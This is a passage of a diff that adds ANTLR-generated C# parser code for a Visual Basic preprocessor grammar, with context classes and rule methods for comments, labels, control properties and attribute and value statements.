{ + State = 333; + codeBlock(); + } + } + State = 338; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class CommentBlockContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMENT() { return GetTokens(VBPreprocessorsParser.COMMENT); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMENT(int i) { + return GetToken(VBPreprocessorsParser.COMMENT, i); + } + public CommentBlockContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_commentBlock; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterCommentBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitCommentBlock(this); + } + } + + [RuleVersion(0)] + public CommentBlockContext commentBlock() { + CommentBlockContext _localctx = new CommentBlockContext(Context, State); + EnterRule(_localctx, 40, RULE_commentBlock); + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 340; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 339; + Match(COMMENT); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 342; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,50,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LineLabelContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LABEL_L() { return GetToken(VBPreprocessorsParser.LABEL_L, 0); } + public LineLabelContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_lineLabel; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLineLabel(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLineLabel(this); + } + } + + [RuleVersion(0)] + public LineLabelContext lineLabel() { + LineLabelContext _localctx = new LineLabelContext(Context, State); + EnterRule(_localctx, 42, RULE_lineLabel); + try { + EnterOuterAlt(_localctx, 1); + { + State = 344; + Match(LABEL_L); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class NonMacroCodeBlockLineContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public NonMacroCodeStmtContext nonMacroCodeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMENT() { return GetToken(VBPreprocessorsParser.COMMENT, 0); } + public NonMacroCodeBlockLineContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_nonMacroCodeBlockLine; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterNonMacroCodeBlockLine(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitNonMacroCodeBlockLine(this); + } + } + + [RuleVersion(0)] + public NonMacroCodeBlockLineContext nonMacroCodeBlockLine() { + NonMacroCodeBlockLineContext _localctx = new NonMacroCodeBlockLineContext(Context, State); + EnterRule(_localctx, 44, RULE_nonMacroCodeBlockLine); + try { + EnterOuterAlt(_localctx, 1); + { + State = 346; + nonMacroCodeStmt(); + State = 348; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,51,Context) ) { + case 1: + { + State = 347; + Match(COMMENT); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class NonMacroCodeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] MACRO_IF() { return GetTokens(VBPreprocessorsParser.MACRO_IF); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_IF(int i) { + return GetToken(VBPreprocessorsParser.MACRO_IF, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] MACRO_ELSE() { return GetTokens(VBPreprocessorsParser.MACRO_ELSE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_ELSE(int i) { + return GetToken(VBPreprocessorsParser.MACRO_ELSE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] MACRO_ELSEIF() { return GetTokens(VBPreprocessorsParser.MACRO_ELSEIF); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_ELSEIF(int i) { + return GetToken(VBPreprocessorsParser.MACRO_ELSEIF, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] MACRO_END_IF() { return GetTokens(VBPreprocessorsParser.MACRO_END_IF); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_END_IF(int i) { + return GetToken(VBPreprocessorsParser.MACRO_END_IF, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] MACRO_CONST() { return GetTokens(VBPreprocessorsParser.MACRO_CONST); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_CONST(int i) { + return GetToken(VBPreprocessorsParser.MACRO_CONST, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMENT() { return GetTokens(VBPreprocessorsParser.COMMENT); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMENT(int i) { + return GetToken(VBPreprocessorsParser.COMMENT, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + public NonMacroCodeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_nonMacroCodeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterNonMacroCodeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitNonMacroCodeStmt(this); + } + } + + [RuleVersion(0)] + public NonMacroCodeStmtContext nonMacroCodeStmt() { + NonMacroCodeStmtContext _localctx = new NonMacroCodeStmtContext(Context, State); + EnterRule(_localctx, 46, RULE_nonMacroCodeStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 351; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 350; + _la = TokenStream.LA(1); + if ( _la <= 0 || ((((_la) & ~0x3f) == 0 && ((1L << _la) & 7864322L) != 0) || _la==NEWLINE || _la==COMMENT) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 353; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,52,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ControlPropertiesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGIN() { return GetToken(VBPreprocessorsParser.BEGIN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_ControlTypeContext cp_ControlType() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_ControlIdentifierContext cp_ControlIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END() { return GetToken(VBPreprocessorsParser.END, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext[] cp_Properties() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext cp_Properties(int i) { + return GetRuleContext(i); + } + public ControlPropertiesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_controlProperties; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterControlProperties(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitControlProperties(this); + } + } + + [RuleVersion(0)] + public ControlPropertiesContext controlProperties() { + ControlPropertiesContext _localctx = new ControlPropertiesContext(Context, State); + EnterRule(_localctx, 48, RULE_controlProperties); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 356; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 355; + Match(WS); + } + } + + State = 358; + Match(BEGIN); + State = 359; + Match(WS); + State = 360; + cp_ControlType(); + State = 361; + Match(WS); + State = 362; + cp_ControlIdentifier(); + State = 364; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 363; + Match(WS); + } + } + + State = 367; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 366; + Match(NEWLINE); + } + } + State = 369; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 372; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 371; + cp_Properties(); + } + } + State = 374; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==BEGIN || _la==BEGINPROPERTY || _la==WS ); + State = 376; + Match(END); + State = 380; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,57,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 377; + Match(NEWLINE); + } + } + } + State = 382; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,57,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_PropertiesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public Cp_NestedPropertyContext cp_NestedProperty() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ControlPropertiesContext controlProperties() { + return GetRuleContext(0); + } + public Cp_PropertiesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_Properties; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterCp_Properties(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitCp_Properties(this); + } + } + + [RuleVersion(0)] + public Cp_PropertiesContext cp_Properties() { + Cp_PropertiesContext _localctx = new Cp_PropertiesContext(Context, State); + EnterRule(_localctx, 50, RULE_cp_Properties); + try { + State = 385; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,58,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 383; + cp_NestedProperty(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 384; + controlProperties(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_NestedPropertyContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGINPROPERTY() { return GetToken(VBPreprocessorsParser.BEGINPROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ENDPROPERTY() { return GetToken(VBPreprocessorsParser.ENDPROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBPreprocessorsParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGERLITERAL() { return GetToken(VBPreprocessorsParser.INTEGERLITERAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBPreprocessorsParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GUID() { return GetToken(VBPreprocessorsParser.GUID, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext[] cp_Properties() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext cp_Properties(int i) { + return GetRuleContext(i); + } + public Cp_NestedPropertyContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_NestedProperty; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterCp_NestedProperty(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitCp_NestedProperty(this); + } + } + + [RuleVersion(0)] + public Cp_NestedPropertyContext cp_NestedProperty() { + Cp_NestedPropertyContext _localctx = new Cp_NestedPropertyContext(Context, State); + EnterRule(_localctx, 52, RULE_cp_NestedProperty); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 388; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 387; + Match(WS); + } + } + + State = 390; + Match(BEGINPROPERTY); + State = 391; + Match(WS); + State = 392; + ambiguousIdentifier(); + State = 396; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN) { + { + State = 393; + Match(LPAREN); + State = 394; + Match(INTEGERLITERAL); + State = 395; + Match(RPAREN); + } + } + + State = 400; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 398; + Match(WS); + State = 399; + Match(GUID); + } + } + + State = 403; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 402; + Match(NEWLINE); + } + } + State = 405; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 412; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==BEGIN || _la==BEGINPROPERTY || _la==WS) { + { + State = 408; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 407; + cp_Properties(); + } + } + State = 410; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==BEGIN || _la==BEGINPROPERTY || _la==WS ); + } + } + + State = 414; + Match(ENDPROPERTY); + State = 416; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 415; + Match(NEWLINE); + } + } + State = 418; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_ControlTypeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ComplexTypeContext complexType() { + return GetRuleContext(0); + } + public Cp_ControlTypeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_ControlType; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterCp_ControlType(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitCp_ControlType(this); + } + } + + [RuleVersion(0)] + public Cp_ControlTypeContext cp_ControlType() { + Cp_ControlTypeContext _localctx = new Cp_ControlTypeContext(Context, State); + EnterRule(_localctx, 54, RULE_cp_ControlType); + try { + EnterOuterAlt(_localctx, 1); + { + State = 420; + complexType(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ComplexTypeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext[] ambiguousIdentifier() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] DOT() { return GetTokens(VBPreprocessorsParser.DOT); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOT(int i) { + return GetToken(VBPreprocessorsParser.DOT, i); + } + public ComplexTypeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_complexType; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterComplexType(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitComplexType(this); + } + } + + [RuleVersion(0)] + public ComplexTypeContext complexType() { + ComplexTypeContext _localctx = new ComplexTypeContext(Context, State); + EnterRule(_localctx, 56, RULE_complexType); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 422; + ambiguousIdentifier(); + State = 427; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==DOT) { + { + { + State = 423; + Match(DOT); + State = 424; + ambiguousIdentifier(); + } + } + State = 429; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_ControlIdentifierContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + public Cp_ControlIdentifierContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_ControlIdentifier; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterCp_ControlIdentifier(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitCp_ControlIdentifier(this); + } + } + + [RuleVersion(0)] + public Cp_ControlIdentifierContext cp_ControlIdentifier() { + Cp_ControlIdentifierContext _localctx = new Cp_ControlIdentifierContext(Context, State); + EnterRule(_localctx, 58, RULE_cp_ControlIdentifier); + try { + EnterOuterAlt(_localctx, 1); + { + State = 430; + ambiguousIdentifier(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AttributeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ATTRIBUTE() { return GetToken(VBPreprocessorsParser.ATTRIBUTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBPreprocessorsParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext[] literal() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBPreprocessorsParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBPreprocessorsParser.COMMA, i); + } + public AttributeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_attributeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterAttributeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitAttributeStmt(this); + } + } + + [RuleVersion(0)] + public AttributeStmtContext attributeStmt() { + AttributeStmtContext _localctx = new AttributeStmtContext(Context, State); + EnterRule(_localctx, 60, RULE_attributeStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 432; + Match(ATTRIBUTE); + State = 433; + Match(WS); + State = 434; + ambiguousIdentifier(); + State = 436; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 435; + Match(WS); + } + } + + State = 438; + Match(EQ); + State = 440; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 439; + Match(WS); + } + } + + State = 442; + literal(); + State = 453; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==COMMA || _la==WS) { + { + { + State = 444; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 443; + Match(WS); + } + } + + State = 446; + Match(COMMA); + State = 448; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 447; + Match(WS); + } + } + + State = 450; + literal(); + } + } + State = 455; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class IfConditionStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public IfConditionStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ifConditionStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterIfConditionStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitIfConditionStmt(this); + } + } + + [RuleVersion(0)] + public IfConditionStmtContext ifConditionStmt() { + IfConditionStmtContext _localctx = new IfConditionStmtContext(Context, State); + EnterRule(_localctx, 62, RULE_ifConditionStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 456; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ValueStmtContext : ParserRuleContext { + public ValueStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_valueStmt; } } + + public ValueStmtContext() { } + public virtual void CopyFrom(ValueStmtContext context) { + base.CopyFrom(context); + } + } + public partial class VsStructContext : ValueStmtContext { + public ValueStmtContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBPreprocessorsParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBPreprocessorsParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBPreprocessorsParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBPreprocessorsParser.COMMA, i); + } + public VsStructContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVsStruct(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVsStruct(this); + } + } + public partial class VsLiteralContext : ValueStmtContext { + public LiteralContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal() { + return GetRuleContext(0); + } + public VsLiteralContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVsLiteral(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVsLiteral(this); + } + } + public partial class VsConstantContext : ValueStmtContext { + public AmbiguousIdentifierContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + public VsConstantContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVsConstant(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as 